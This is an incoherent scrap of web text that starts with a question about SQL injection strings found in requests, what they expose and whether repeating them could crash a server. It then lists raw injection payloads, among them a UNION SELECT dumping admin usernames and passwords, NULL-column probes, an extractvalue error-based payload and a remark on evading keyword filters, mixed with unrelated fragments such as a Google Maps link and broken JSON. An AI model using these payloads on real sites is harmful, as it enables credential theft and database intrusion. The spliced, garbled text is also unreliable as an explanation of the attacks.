What I would like to know why "999999.9", what is "0x39313335313435363237322e39". When this attack works what information would the hackers have or edits would they have done to the database. Last could this attack run over and over again bring down/crash the server?
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.
-999.9+union+all+select+%27R3DM0V3_hvj_injection',null%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL
Word Spark search letters: Llc)+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL+FROM+MSysAccessObjects--+YWHk.
خرائط Google https://www.google.com.sa/maps/@29.7746437,39.8515482,6566a,20y,40.61t/data=!3m1!1e3?hl=ar.
But the sign * is replaced whit a space and union – select are filtered. which means replacing the keywords
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)).
[0][format]":"inline"},"type":"media","link_text":null,"attributes":{"alt"
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